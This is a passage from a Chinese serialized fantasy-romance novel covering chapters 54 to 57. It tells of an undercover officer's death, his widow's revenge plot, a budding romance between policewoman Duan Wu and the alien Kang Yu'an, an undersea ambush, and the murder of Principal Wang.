就这样,俩人正大光明的结婚了,小日子过得更肆无忌惮了,端正阳名声愈加狼藉了,只剩下名,没有多少声了。 吕叶子以为日子会这样过下去,不守规矩的两个人,生一堆不守规矩的小崽子,和这世上的规矩对抗。 可是,那只是她一个人的以为,她是真的没规没矩,而端正阳却是规矩中的规矩。 当年从街头被救回来,最后他又死在了街头。 端正阳嘴严的啊,最后成了烈士,她才知道原来他是执行卧底任务的警察,才知道他叫端正阳。 吕叶子不管他是谁,只要杀了他的人,就得死。 54.第 54 章 吕叶子差点追上奈何桥那头的端正阳。 对方早知道他俩夫妻情深,也了解毒妞是个有仇必报的,更何况还惦记着她身上的东西呢。 反正隆重地布上了科技陷阱,就等着她来了。 “还叫什么毒妞,不如叫傻妞吧?你掏心掏肺对人家,最后都不知道人家是干嘛的吧?啧啧啧,真是可怜呐!” 赵刚满脸横肉堆积,眼如铜铃,居高临下的嘲笑着被按在地上的吕叶子。 吕叶子之前一直想不明白,端正阳跟了很多年的人、最后却要他的命,为了点什么? 现在有解了:她大胆猜测,难道自己的枕边人是警察?可赵刚又不是有大本事的人,犯不着在他身边潜伏这么多年啊。 “操些没用的心!要杀就杀,哪那么多废话!”对于吕叶子来说,他到底是谁并不不重要。 他不和她说,自然是有他的苦衷,和她在一起是真心的就够了。 “也行,那就自己去下面问他吧,还真得早点送你过去呢,走晚了再追不上。毒囊你也没用了,不如留下来当个念想。”赵刚挥挥手,立刻有推着仪器过来的人。 “你也配?也不怕把自己毒死了!”知道自己会死时,吕叶子没什么反应。可是听到赵刚要拿毒囊,她急了。 那是从她太太太姥姥那传下来的,今天若是从她这落入他人之手了,怕是要一起拍棺材板了。 吕叶子开始用力挣扎,她也终于明白为什么自己的毒在这里用不了。 赵刚为她准备了全谱防御智盾。那是唯一能够限制她毒囊的克星了,为了夺她的毒囊功课做的明明白白的。 可是,赵刚不可能有这个实力。 毒囊的位置很快被找到了,在吕叶子的右心室,就好像左右各长了一个心脏似的。 “疼是会疼点,忍一下就好。老大说了,你这毒囊得活取,你死了,毒囊就也死了。”赵刚害怕吕叶子会大喊大叫大力挣扎,血流速过快、不好找毒囊。 听说毒囊受到惊吓会乱跑呢,在体内跑还好,如果跑出来还能像人参娃娃一样见土就没,去哪找去?老大非得拧了他这颗大脑袋当凳坐。 赵刚担心的有点多余,吕叶子只是不吭不响地大力挣扎。 “挖出来了,还发着光呢!”顾不上一头汗,小混混把毒囊高举过头。 “毒妞,你也该上路了!”还滴着血的匕首,再次刚刚举起,朝着左心房刺过去。 程韩的师父,当时还是邱队的邱局刚好带队到门口,原本听赵刚提到幕后还有老大,是想鸟悄儿撤了的。 证据虽然被端正阳成功拿到了,可是间谍团伙的外星人还一个都没暴露呢。 不要说来的时候老王再三嘱咐,烈士家属一定要保护好。就是一普通受害者眼看着就要被杀害了,也不能不管吧? 一队人破门而入,吕叶子恍惚间好像看到了端正阳朝自己走过来了,眼前一黑就什么都不知道了。 醒来后,没有端正阳,只有王校长夫妻俩焦急的守着。 两个消息,一得一失,一好一坏。 这些事情,端妈从来没和端戊说过。对于过去,只知道爸爸叫端正阳,英年早逝。妈妈叫吕叶子,拳打整条街。 端妈只有对康屿安是温柔的,虽然柔得有点生硬。 新婚燕尔,端正阳和她经常一起画未来的大饼。期待中女儿的样子原本是康屿安这样的,端戊算是练废的号,收购的新号同样没一点可人的样子。 端家真是个神奇的生物链,端戊和端砚在端妈面前毫无反抗余地,被吃得死死地。 可是,把端妈吃得死死的康屿安,在端戊面前又总像做错事的孩子。 “你没睡着吗?我回来的时候,你还睡着呢……呃!”康屿安湿漉漉的小手赶紧捂住了嘴,耳朵心虚的蔫了下去。 端戊了然反问的压迫感,直逼康屿安头顶。一个不小心,脑子没有追上嘴,怎么就把实话说出来了呢? “嗯,我都知道。”端戊语气平淡,淡到康屿安都不确定她知道多少,放倒她的事到底知不知道。 所以说,有个警察女朋友,发生矛盾时就是一场心理拉锯战。 “知道什么?”康屿安歪头装傻地看着端戊,想从她眼睛里寻找些蛛丝马迹,然而,毛线都么一根。 买到假药了?如果是假药,是不是就等于,我没干过下药的事? 心里发毛,手下没准。 “剩下的我自己来就好。”端戊再再再再次地按住了这只柔软的小爪子,让她远离蛋挞。 “好。”康屿安很少给建议更不要说有异议,端戊对她来说有点难对付,言多必失,不如言简意骇。 对端戊来说,可没有那么多字面意思,哪怕一个逗号,都要掘地三尺地琢磨,这是职业习惯。 最初,端戊还当作相互尊重,时间久了,她就不这样想了。 怎么看像你是你,我是我,你要做什么,和我有什么关系? 她对崔雪松怎么就不这样?什么都管,像个小妈妈。 而和她之间,却隔着看不见的山。她俩不应该是最亲密无间的关系吗? 怎么连一个吻都要像有预谋、有试探似的。 端戊怀疑康屿安是故意,如果不是,那端戊就打算故意一次了。 气氛已经到这了,蛋挞也被冒犯了,热血更是燃遍全身了,任督二脉都快被冲破了。 而端戊还要面不改色地心狂跳!忍受的是朝暮星酷刑吗?自己还在等什么? 端戊心里兀自打着小算盘:最后一次,再惊扰蛋挞,我可就师出有名了! 没想到,她已经做好出师的准备了,康屿安却像是会读心术似的,突然就变乖了。就连擦水的动作都过分小心,准确无误地避过蛋挞。 端戊心里的小猫开始抓狂:明摆着就是成心的。 “这一次呢?你嘴里还有先甜后苦,能让人睡觉的药吗?” “你真的知道?那你怎么会没事?”既然明牌了,再装傻就显得有点真傻了,康屿安坦荡的问。 “开始我也没想明白,后来我把到你房间后做过的事儿捋了一遍,发现问题出在我喝了你喝过的水。也许是你喝 水时,有部分解药溶到了水里。” 端戊和康屿安分析完,戏谑的等她表情变化。 康屿安的脸都快和耳朵一个颜色了:百密一疏吖! “你想怎样?”如果没记错,地球人管这个叫袭警吧?康屿安早准备好为做错的事情承担后果了。 端戊慢悠悠地拿出一条干浴巾先把康屿安裹好,自己又穿上轻薄、不会对伤口造成负担的睡衣。 “不是应该你有话对我说吗?”端戊拉着康屿安,往卧室走。 “崔雪松什么都不知道,我自己一人承担。”康屿安突然一身轻松,原来她一直在等这一天。 “你倒是挺义气的嘛,一个人扛了?”端戊心里又有些泛酸了,就连说出的话,都透着一股陈年老酸菜的味儿。 “我不想连累你,崔雪松在地球上……”康屿安笨拙的解释夭折了。 这个时候,端戊不想听到崔雪松这么名字。手上用力,康屿安被拉进怀里,刚裹上的浴巾滑落在两个人脚下。 康屿安身上凉意和端戊的滚烫贴在了一起,猝不及防的咬住康屿安的精灵耳:“你会为我这样奋不顾身吗?” 端戊也不知道,她期待的奋不顾身是什么?如果真的有那样的事情发生,她应该比谁都希望康屿安能好好活着。 就像端正阳对吕叶子一样,即便死了,也要为她铺一条生路。知道她会替她报仇,就在她的复仇路留下了绊脚石。 绊脚石一大一小。大的那块是王校长,他是受人之托而来的明石。小的那块是端戊,那时她还是一颗胚胎,算是意外之石。 看到吕叶子醒来,王校长赶紧上前,事无巨细的说了个明白。 “你说是就是啊?你到底是谁家派来的?不老实别怪我不留活口!”吕叶子刚学会走路,就已经跟着父母走江湖了,哪会被一个陌生人三言两语地就劝下了。 “你这姑娘,长得秀气脾气火爆得很,要么说你能和正阳……”王校长打开他师传的公文包,开始翻找。 “别和我套近乎,说点有用的!”吕叶子平时只是脾气急,可是最近狂躁的不行。 “说再多都是没用的,任何事情都是要讲证据的,姑娘你看。”王校长把证据递了过去。 厚厚的一沓,有端正阳的学籍、警籍档案,授权同意书,保证书,因公证明等。 她看不懂那么许多,可是她认识档案上的照片,明明是一样的眉眼,看着怎么就不一样呢? 呵呵,他竟然叫端正阳,她一直以为他叫黎明呢。 “骗子……呵呵,大骗子!”吕叶子一时有点难以接受,她整天明仔儿明仔儿着喊的人,竟然是别人。 “你也别怪他,我们是有纪律的,他也是在意你的,早早就和组织报备过你们的关系了,也证明了你从前的过往……”王校长又怎么不会去核实吕叶子的背景。 只能说,幸好自己这个学生是警察。 “纪律?他一个连规矩都不想守的人,居然遵守的是纪律……真是可笑!哈哈哈……”活驴一样的吕叶子,竟然像林黛玉一样晕过去了。 55.第 55 章 吕叶子再次醒来时,耳边满是道喜声。 绊脚石?1,小绊脚石出其不意的掺合进她的世界。就好像一切都是端正阳安排好的。 然而,吕叶子的倔强怎会允许她放弃?都已经知道对方的底牌了,说什么也要再杀回去。 “我的毒囊呢?”万事俱备,得把东风先要回来。 “没收了。”还是老师的王校长下意识后退一步,煞气过盛,又不得不惹。 “凭什么没收?那我我家的东西!”吕叶子声音放低了一些。 王校长眼神略显畏缩,动作明显躲闪。 王夫人在后面戳了一下他的腰眼,王校长哆嗦了一下立刻挺直脊背。 “你,你那个是危险违禁品,从前在身体里,也就算了。现在问世了,我们是要代管的。” “你凭什么代管啊?”吕叶子不高兴了,赵刚至少是明抢,怎么?同样的事换了你们做,就冠冕堂皇有名头了? “不是我,是违禁财产保管中心。”王校长承认自己胆小,他觉得自己就是一个教书的,与世无争点、明哲保身点,又怎么了? “还给我,我有用!”右心房嘶嘶啦啦的剧痛,也抵不过左心房最深处的闷痛。 “杀害正阳的凶手全部落网,会有法律制裁的……”王校长抖着头顶的聪明毛,立刻猜到了吕叶子想要干嘛。 “哪有自己动手来的痛快!”吕叶子替赵刚想好了多种配方、数种死法,突然被抓,岂不是让他占了大便宜? “话,话不是这样说的……”又菜又爱玩的王校长只是胆小,平时也是个伶牙俐齿,今天舌头几次打结。 “我就说说而已,我要好好养大端正阳的崽儿了。”吕叶子第一次喊这个名字,有点陌生,而且永远不会有回应。 手覆上小腹,突然有种连上信号的感觉。 端正阳会更希望他的孩子,替他陪她身边,做那些他还没来得及做的事情吧。 王夫人听到吕叶子终于想明白了,高兴的不得了,拎着保温桶就过来了:“这才对嘛,尝尝我包的粽子,还热着呢。” “粽子?”吕叶子还以为是汤啊粥啊的,那不是探望病人的标配吗? “是的啊,粽子,今天端午节了。”王夫人赶紧拿出一个剥去粽子叶,放碗里递过去。 吕叶子看着碗里晶莹的米粒,想起来端正阳也会包的,他喜欢蛋黄肉粽,而自己只喜欢蜜枣粽。 “孩子取个什么名字?”王校长也凑过来了,说来奇怪,煞气就像一阵雾似的散去后,竟然有隐约光晕萦绕在吕叶子的头上。 “今天端午节啊,那就叫端戊吧。”吕叶子一口咬下去,是甜甜的蜜粽,端戊的名字就这么敲定了。 王校长推了推眼镜,像是不认识的看向吕叶子:“伍子胥的伍?” 端正阳报备的时候,怎么说人家没什么文化,不爱读书呢?看人家这名字取的…… “伍子胥也是甲乙丙丁戊的戊,我想找个谐音的字,第一个就想到了十天干了。” 吕叶子并不知伍子胥是谁,总不能让孩子直接叫端午吧?会被同学取笑,还会给她取外号,要被叫小粽子的吧? 在端妈的强势护佑下,端戊快乐的长大了,没有被欺负,没有被叫小粽子。 端妈没想到,端戊会有被裹成大粽子的这天。 康屿安把头摇成了拨浪鼓,才把小耳朵抢回来。可是,冰冷的耳朵燃起来了又算怎么一回事儿?整个人的温度也莫名跟着飙升。 “该换药了,趴下。”太热了,康屿安从端戊的怀里挣脱出来,捡起浴巾铺在床上,像是对小狗发号施令一样,命令端戊趴上去。 端戊听话的小狗一样趴到浴巾上:“你行吗?会吗? “怎么不会?”康屿安声音降下来,低不可闻,就像刚从忧伤里捞出来一样,还嘀嗒着情绪。 “包扎你的小宠物?”端戊猜她一定很喜欢,感情也很深,只是最后没活下来吧。 “是我爸爸妈妈,很严重的溃烂,可以看到骨头……”康屿安揭纱布的手有点抖,意识到端戊会疼,撅起小嘴凑上去轻轻地吹。 原本疼的咬牙握拳,被康屿安呼出的热气拂过,拳头握得更紧了。 突然想起康屿安在清异局包扎的视频,要比自己现在疼很多吧?现在想到那个画面,端戊的心就揪成一团。 “有礼物送给你的,明天你就能见到了。”如果没有和崔雪松约会那一茬儿,估计康屿安现在都用上了。 端戊承认,她心眼儿还是很小的,有时候还挺酸的。 “感谢我辛苦为你换药吗?好了,可以自由活动了。”康屿安轻拍端戊的肩膀。 “呃……”端戊侧头从看镜子里看自己时立刻愣住了,活脱脱的大粽子嘛。只是可以活动吧?自由不受限吗? 转念一想,也没什么不好的,至少能规避风险:避免伤口裂开。 小紫耳朵的情绪不高哦?想家了还是累着了? 端戊侧过身躺着,拍拍腾出的地方,示意康屿安躺过来:她该有多无援无助,却从来不外露,反而像一只小刺猬。 而自己真的只看到了她满身的刺,连呵护都没有过吧?愧意漫过头顶,端戊像是溺水一样难受。 之前自己是不是也有过这样的愧疚?隐隐约约的,像梦又像是发生过的事。她太倔强了,以至于总让人以为她不需要,慢慢就淡忘了要给她什么。 “辛苦康神医了,快过来歇一会儿。”木乃粽子·端戊侧身单手撑头,漆黑的眼睛里闪着野狐狸一样的光。 康屿安从来没见过这样的端戊,反而犹豫了:今天摔坏脑子了?还是有所图有所谋? “你知道不知道,人太反常看着就心慌?”康屿安甚至想到了夺舍,听说地球上有这么一门玄术,叶白之前不也弄得一台那东西? “心慌个屁!你过来!”端戊变脸似的收起了像是借来的魅惑,马上整个人都得劲儿了。 “有事说!”康屿安放心的过去坐到床上,倒不是说有什么受虐倾向,直来直去、有事说事不好吗?怪吓人的。 “没事,向康神医表示谢意呗。”端戊坐起来,一只手捞起康屿安的两条腿,拎起来放 在了床上。 “干,干什么?”康屿安当即竖起紫色小耳朵,立起一身看不见都刺。 “别躲,不咬你!”端戊拉住康屿安右脚脚腕:“不是长胖了了一些吗?脚脖子怎么还细的像手腕似的?” “那是脚脖子,又不是脖子,长那个粗干嘛?”拍掉端戊的手,被她说的也好奇了,有那么细吗? 竟看到自己清晰可见的肚脐眼,顿时把自己吓成了折耳:我就这个样子晃来晃去的?这是疯了吗?幸好曲线不波涛也不汹涌。那也够丢人的! 康屿安翻出奶凶的白眼:你在那装瞎吗? 这个白眼端戊可没接到,正低头忙着脱康屿安的袜子呢。 “你,什么毛病?”虽然地球人都是五个脚趾头,可她到底是朝暮星人,应该有六根脚趾头的。 少了一根,她觉得自己残疾了,睡觉都要穿上袜子的。 端戊明晃晃的就把人家袜子脱下来了,康屿安瓷白的脸顿时就染成火烧云,小折耳也激动的无节奏抖动。 卯足了劲儿向后退缩,撞到了床头时,脚腕也没脱离端戊的掌心,康屿安急得小腿绷直,紫色的眼睛描上了红边。 “疼了?那当时,得有多疼了……”端戊又想起来,当时自己还追着刚缺了一根脚趾的康屿安,从地面追到地下,满地下的追着跑,又追到了地面。 “呜呜呜……”本来不想哭的康屿安,不知道哪根弦松了,一下子就绷不住了,串眼泪的那根线也断了。 “别哭啊,对不起啦,我帮你穿上。”端戊手忙脚乱的把袜子歪歪扭扭的套在康屿安的脚丫子上,小心的问:“我现在能脱下来看看你的脚吗?” “哇……”不但没劝住,康屿安还放开了声音哭。 她有整整五年,不敢哭,不能哭,好不容易到了能随意哭的地球,她也就在清异局小试眼泪的哭了一下。 然后就一直绷到现在,哪怕见到崔雪松,也一刻都不曾放松。 直到看到端戊小心的捧着那只残缺的脚,如同捧着被摔坏的宝贝。 康屿安也算了解端戊的性格规律了,上班时间和下班时间,完全是两个人。工作时的面具有多老成持重,下了班就有多傲视不羁。 第一次看她这样一本正经的温柔,眼睛里全是心疼,就像…… 康屿安还没想到像什么,大脑就宕机了。 端戊放开了她的脚,用刚刚捧过脚丫子的手捧起她的脸,薄唇覆上她微张的唇,舌尖在贝齿间挑衅,不登堂入室绝不罢休的样子。 虽然之前也亲过,也吻过,但那都闹着玩似的只为了完成目的。 而这次,康屿安感觉有点像爱情的味道。 “小紫耳朵,我喜欢你……”端戊舌头还在康屿安的嘴里,含糊不清的印证着康屿安的猜测。 刚受到惊吓缩成折耳的精灵耳,听见端戊在叫它,嗖地就站起来表示它在。 康屿安没听清又想努力听清,整个人呆愣在那,眼睛睁得大大的,嘴也跟着张大了一些。 一个不小心,竟然让端戊抓住机会破城而入了。 56.第 56 章 木乃粽子·端戊的余光扫到小紫耳朵的耳朵,它像是被激活了一样,随着端戊舌尖上的节奏摆动,没有半个拍是落下的。 端戊想笑,康屿安是有些不自知的搞笑在身上的。 纠缠在一起的是舌头,做出回应的却是耳朵,连麦了吗? 端戊太喜欢这对热情敏感的小耳朵了,腾出手摸上去,薄薄软软的没有耳骨似的。 指尖捻起康屿安耳廓轻轻的揉捏,小耳朵好玩的呀,像假耳朵似的在那僵硬着装死。 端戊把康屿安的舌头绑架到自己嘴里,探究味蕾间的清新甘甜。 装死的耳朵有点装不下去了,像是融化了一样瘫软在端戊的两指间。 端戊心头跟着一紧,似乎有真气从任督二脉四处奔走,朝着四肢、各处一通乱跑。 端戊只能更用力地来散热,由内而外的热,没有一处不热。 “唔……”康屿安痛出了声,张大了嘴巴换口气,以为自己的舌头脱了一层皮呢!这是要吃.小.精灵了吗? 端戊食指轻敲着小耳朵以示安抚,不经意戳到了耳廓里那撮小小的金色绒毛,真是没想到,康屿安的开关在这。 康屿安嘤咛着变成一只猫崽子,从耳朵融化到全身了,化在端戊的怀里。 端戊感觉作为容器体,已经装不下四处冲撞的热流:“你的睡衣怎么还没干,这样睡是要着凉的……” 善解人意的时候到了…… “包扎的是不是太厚了,要不要拆下来一些?”康屿安的鼻尖碰到了端戊的鼻尖,湿漉漉的像小狗的鼻子。 这是给人家包了个棉马甲嘛,内火加外热,蛋挞都烤熟了,早压成了蛋饼,委屈的呀。 端戊像是拉开了纱帘,一幅《维纳斯的诞生》摆在浅灰格子的床上。 端戊修长的手指一寸寸抚过美画,找到最喜欢的位置,点缀上一只只颤栗的紫色蝴蝶。 “小粽子……”康屿安已经很努力了,试图用端戊的唇珠堵上自己的嘴,可还是没忍住。 “我在,小紫耳朵……”两个人准备了很久、藏了很久的终身用户名,终于用上了 卧室的温度嗖嗖上升,小粽子和小紫耳朵被蒸的热气腾腾。 安静的浴室里,只有花洒若有若无的滴答声,软管里的水封突然被空气冲破,存在管里的水滚落到浴室的地面。 康屿安的头偎在端戊直角肩上,端戊把头靠在康屿安松软头发上,刚干的头发比平时更蓬松,端戊把脸埋进去再有一秒就睡着了。 “崔雪松……”0.5秒时,康屿安轻飘飘、懒洋洋的声音飘进端戊的耳朵里。 呼出的气吹在端戊的脖子上,轻微的疼麻酥酥的,那里是被哪个狗崽子咬过的? “喊错名字了吗?”端戊打断了康屿安,多少是带着点毒的,到底是毒妈生下来的毒娃。 这种旖旎的氛围,怎么能插播和这个名字有关的事呢。 “是的呢!想着就喊出来了!”康屿安困倦的眼睛不想睁开,不想听还不想说了呢,以后都别想听了。 “不能轻信任何口供,要重视证据、核实证据。来,警察姐姐看看,心里想的是谁……”端戊从康屿安松软的头发里抬起头来,找到心脏的位置。 先是把耳朵贴上去,然后又把鼻尖凑上去,小警犬似的一寸都没落下,最后在所有嗅过的地方,认真沉迷的盖章。 几个吻章盖下去,端戊又热到出汗了,鼻尖和双唇,濡湿了康屿安的瓷白的皮肤,淡粉的光圈。 “唔……困了。”康屿安轻扭酸痛的位置,向被子里缩了缩。 “你以为姐姐会干嘛?姐姐受着伤的……”端戊的唇珠试探到了光圈的低温,贴心的抿进了自己唇内,温柔的帮忙暖暖。 康屿安很快就会知道,有时候姐姐也会心口不一的,说的和做的就是两回事。 崔雪松还在鼓里蒙着呢,淹没在爱情里的小精灵,对她的挂念没超过一分钟,就已经沦陷了。 而指挥车上所有人,没来得及体会到潜水系统有多爽,就已经逼近生死一线间。 “有内鬼!”崔雪松看着眼前电磁干扰防潜网做出判断。 “怎么会?如果有内鬼,咱们炸楼的时候,就被干扰了,怎么能顺利完成任务?”崔雪松身边的金正晞不相信会是被自己战友出卖,第一时间跳出来反驳。 而崔雪松也是第一时间把金正晞排除了。 人在处于自我保护、有所隐瞒的时候,第一反应是恨不得自己是透明的,谁也别注意我,又怎么会做出头鸟。 “来之前,有谁知道今天有跨星际任务?即便是在飞船上,谁又知道自己去哪?没有通讯设备,炸完楼能传出消息,已经是很快了。” 崔雪松环视一圈后白色的耳朵更白了,几近透明:那个人不在这里。 今天这一车人,基本难有生还了,得多大的好处啊,要拿自己的命去换?只怕有命赚没命花呢。 他们又没有什么家人可以做人质。 那是在Shark组里,还是在Bear组里?他们两个现在是不是也有危险? “如果让我知道是谁,回去肯定揍的他满地找牙!”崔雪松身后的孔大熊一掌拍塌了面前的小桌板。 孔大熊这个行为就不好判断了,心虚的人第一反应都是贼喊捉贼。 论机灵劲儿,孔大熊差的不是一星半点。可是哪个内奸或者间谍会让自己看着又精又灵的,怕别人注意不到自己吗? “那就都活着回去!”金上校耳朵乌黑地看向前面的障碍,就像狼看到捕兽笼,眼神狠戾。 他是最清楚的,这次是真难了。猛地睁大眼睛,一巴掌拍上面前的蘑菇钮,整个指挥车直直向水面冲去。 金上尉快速旋转红色的档杆,潜水指挥车旋转着就朝着一点钟方向冲过去,尝试着再次冲出水面。 就差一点,就冲出去了, “咚!咚!”两枚鱼.雷同时打到了车头和车尾。 “坐稳了!没事!”金上校狂吼着下命令。 “砰!砰!”两声巨响,车身巨颤,就知道这两个鱼.雷的威力不一般,可是指挥车只是抽筋了似的剧烈抖动,里面的人被晃得贴上了车壁。 车身和人,毛事没有。 “牛逼!”孔大熊兴奋的灰耳朵乱颤,这可是地球科技,花了大价钱在地球上买的,知道指挥车强,没想过这么强。 崔雪松回手拉住孔大熊,示意他别说话,然后把耳朵贴在传感器上,突然耳朵笔直的立起。</ p>就是嘛,既然对他们行踪有所了解,设了障碍,又怎么会不清楚他们的指挥车,要不然障碍怎么能做到一招得手? “坏了!”来不及解释,崔雪松猛地冲到金上校旁边,接过他手里的档杆用力旋转,车,却一点都没动。 短暂的迷茫后,所有的人都明白发生了什么事了。 “哐!” “当!” 两声钩子挂上车身的声音,甚至还有刺痛的电流感。 “放心!地球制造,小卤蛋们还没那么容易就控制了去!”金上尉对指挥车还是很有信心的。 大手一挥,从操作台里划拉出悬浮屏,打开车身隔绝层,关闭了所有的防护系统,然后开启了隐身功能。 所有人信心满满的看着他一顿神操作,个个支棱着耳朵,眼底冒着小星星。 “不要关!”崔雪松伸手去抓金上尉的手,整个世界都陷入了一片黑暗。 在指挥车隐身的一瞬,彻底脱离l爆炸锚爪的掌控,也摆脱了电磁干扰防潜网的追踪,整辆车仿佛进入了次元世界,没有一点声音。 所有人屏住呼吸,竖起耳朵,感受着安静之外的世界。 忽地,炽亮的白光,把黑暗撕裂开一道口子,晃得人睁不开眼睛,全都举起手臂遮光。 一个又大又圆像是太阳,又像是月亮的东西,在车窗外注视着他们。 “轰!”看着看着,它就炸了,整个海底被炸成了白昼。 除了叶白,怕是没人知道这场爆炸。这就是她的目的,神不知鬼不觉的,解决两个让她不爽的难题。 “好好的兵不当,非得学着人家玩碟中谍,现在好了,命都玩没了吧?”叶白摇着手里的高脚杯,里面红色的液体像是新鲜的血。 苍白的唇上沾上两滴残酒,笑得露出森白的牙齿,看得玲珑管家打了个寒颤。 把她藏在吸血鬼里,她能比吸血鬼更像鬼。 “这世上哪会有比您更聪明的人啊,再借她十个脑子也不够用。”玲珑压了压心惊,轻车熟路的捧。 “没有她这走着一遭,折腾这一趟,我还想不到更好的办法摆脱哥布林人呢,说到底也算是帮了我,我却连根骨头都没让她留,是不是残忍了些?” “残忍?哪残忍了?没有您,她哪能这么快全家团聚去?”玲珑早不记得说真话是什么感觉了。 “哈哈哈!你说的对,信你的。我差点难受的今晚睡不着呢!消息要让应该知道的人知道了……” 原来,端戊的怀里这么好睡,康屿安不知道自己是睡着了还是昏迷了,沉得就好像失去意识了。 瞳视视频弹了又弹,康屿安终于从昏睡中有了意识。 不认识的人?会是谁呢?接通就知道了。 “你怎么能找到我的?”真是出乎康屿安的意料,她刚有自己的瞳视没多久,怕是端戊都不知道吧? “我是警察,找个小精灵还是能找到的吧?我师父怎么不接啊?她在你那里吗?”辛瑙带着点哭腔,哭唧唧的找师父。 “你师父刚睡,要不……”康屿安还没醒,她还想继续睡,抱着端戊睡。 “不行!就现在!我没有师祖了……”辛瑙像是走丢的孩子,一点么得商量就大哭起来。 57.第 57 章 像被一巴掌拍醒了,康屿安咻地睁开精灵眼,闪烁着紫色小夜灯:“你就一个师祖的是吧?” 辛瑙也睁开了眼睛哭,这个问题……问得真好:“我师父也只有一个,她在你那吗?” 康屿安彻底开机了,脑子里闪过那张和蔼可亲的核桃脸,顿时意识到问题的严重性。 说他老人家急症而终,或者睡梦中走了,她都是一点不信的。就王校长那状态,再活个三四十年都没问题。 毕竟现在的平均寿命在一百二十岁左右了。 “在在在……”康屿安看向端戊,即使在睡梦中也要把眉心挤成一个疙瘩,不知道她的梦里,是经历了一场告别,还是有不愿面对的画面? 辛瑙火烧屁股似的在车里等着,直到看着端戊脚下踩着棉花、眼里藏着刀地走出公序舍,还拎着一个黑色烫银的袋子。 这个袋子辛瑙可熟悉了,专门做男士商务的数百年老品牌,是她爷爷的最爱。但凡打碎了她爷爷的古董,喂死了她爷爷的鱼,她都是买这个牌子撒娇求原谅的。 辛瑙刚止住的眼泪又卷土重来了:从前端戊总是吐槽师祖那个传承几代才到他手里的包。 吐槽完,就一定要拿出一个月的工资来为她师祖买个新包。现在看来,这个包,早就买好了,而且也绝对不是她一个月工资就够的。 可是,端戊还没送出去呢。 端戊走近了,脸色惨白,眼底铁青,整张脸都笼罩在黑雾里。一动不动的看着辛瑙的车。 辛瑙坐直伸长了脖子:咋回事?愣着干啥?麻溜的吖! 她心里急,她不敢催,她师父反常必有妖。 端戊想起了她的小乌龟,出去时还好好的,结果身首异处回不来了。 这不是重点!自己是不是忽略了什么?所有的事情都不是巧合。 出了清异局的那一刻,其实就已经被盯上了吗?小乌龟的残骸,那原本也是她的下场。 王校长是发现了什么才遭毒手遇难的吗?这和自己遇险差点交代在那,有关系吗? “师父……”辛瑙把头伸出去哽着音调喊端戊。 端戊看着乱成鸟窝的泰迪卷,突然意识到,师门就剩下她俩了。 “嗯……”嗓音丝丝拉拉的沙哑,这是端戊第一次在辛瑙喊她师父的时候认真回应。 辛瑙有点受宠若惊地接过端戊手里的袋子放在后座,怕师父活动拉扯到后背的伤,还贴心的帮她系上安全带。 “师父,案发现场在师祖家门口,都已经打开家门了,回不去了……师祖母起来喝水时发现的……发现时已经没有生命体征了,被送去了学校的法医系停尸间。” 辛瑙哝着大鼻涕音,眼睛红肿得像是裂开的核桃,就剩下一条缝了,让端戊想起从前那个端砚哭完的样子。 她迅速提取出了话里的重要信息:“没送到清异局能理解,为什么没有送到市局?送回学校了……” “是的啊,我们局法医科被证物科牵连,现在问题还没解决……”辛瑙知道自己家问题所在,那市局呢,又是哪里不对劲儿呢? “那就回学校看你师祖!”端戊每说出一个字,bgm都是牙齿的咯吱声。 毕业以后,她回学校看王校长的次数屈指可数,而现在、以后更是寥若无几。 星域研学院的法医系停尸间和其他地方都不太一样,这是王校长成为掌权人之后的主意,端戊还曾经打趣王校长这是死亡的天堂吗? 现在再想起来,竟觉得是冥冥之中的注定,就好像早他就知道,终有一天要回到这里。 它并没有在楼层的地下或底层,而是独栋的两层小楼顶层。当时这个申请可是历尽艰辛地排除了众议的。 很多人都认为这笔额外的开销不值当,直接在法医系大楼的地下岂不很方便? 只有王校长坚持己见,他认为科学的尽头也可以是玄学,这些大体老师做出了宝贵的贡献,应该住在离天空更近的地方。 用了很长的时间,才通过了申请。建成之后,王校长坚持天花板要有蓝天白云,冷藏柜和解剖台,要有彩色的涂层。 而今天,王校长躺在了自己一手设计的停尸间里,看起来不那么冰冷的冷藏柜中。 端戊一下下点着天花板上的云,看着辛瑙,嘴巴翕合半天没发出声音。走过去把王校长的冷藏柜拉出来。 冰冷的手摸到到透心凉的拉手时,眼泪后知后觉的砸了下来:“小老头,整这么多花样还不是冷冰冰的,小老头,你冷不……” 端戊哽住了,扶着冷藏柜把头垂的越来越低,看着眼泪在鞋面,地面晕染开:“小老头,你怎么扔下我们俩个了呢?一点准备都没有,从来都没想过这一天……” “师祖!师父你拉开啊让我看看师祖啊!”辛瑙破了大防的放声大哭,端戊每一滴隐忍的泪,就像砸在了她的心上,生疼生疼的。 端戊双手撑着扶杆,头低到不能再低,肩膀抖得像是小马达。她闻到血腥味,那是小老头的,他不是冷,他是又疼又冷。 辛瑙不管那么多,走到端戊旁边也搭在扶杆上拉开冷藏柜,拉出一半时,她停下了。 她明白为什么端戊不动了,只是一味的低着头看着眼泪坠落,看着痛汇聚成潭。 王校长永远笑呵呵的核桃脸凹进去了一半,剩下的那一半,褶皱枯槁,有些百岁之后的样子。 “师祖!哇!”辛瑙扑上去,一只手覆盖上枯槁的那一面,另一只手却悬在凹陷那一边的上面。 “瑙瑙成长的就是快,能帮上你师父这么多了,要不然局里这么多事,她出的去吗?回头我得嘱咐她,一定要对你这个徒弟好一点。”王校长说这话时的样子,电影一样在眼前放映。 不久之前的话,余音仍在,甚至卷发上还有他摸过的触感和温度。 “把嘴闭上,让开!”端戊的声音像一块大冰坨,闷冷闷冷的。辛瑙哭得她心更难受了。 她羡慕辛瑙,难过就哭,更难过就更大声的哭。辛瑙都不知道,每次的羡慕都化作了打骂。 端戊拉开辛瑙的手,略显不温柔的替她抹了抹乱七八糟的泪,然后让她站到一边去。 看着王校长紧闭的那只眼,端戊竟然读懂了。 小老头用力闭的那一下眼,不单是承受了巨痛,那闭紧的眼睛里,更多的是他想说未说出的话和某件没完成 事情的无奈。 半个头大的坑,想必凶器也小不了,这些都有法医验证,现在当务之急是验证心里的怀疑。 她把王校长从头到脚地扫了一遍,虽然气息淡去了一些,被血腥味覆盖了一些,可是她还是明确的判断出了哥布林人的味道! 端戊腾地燃烧在熊熊怒火里,眼睛和两颊都红了。 “SB臭卤蛋们真是一点都不能消停啊!旧恨还找他们清算,就敢拿新仇来恶心我们!”端戊看着小老头面条一样瘫软的四肢,倔强的保持握拳的动作不变。 毋需置疑,他心里是恨的!恨这些卤蛋们千年不改的臭嘴脸,恨自己竟然耻辱的死在了他们手里。 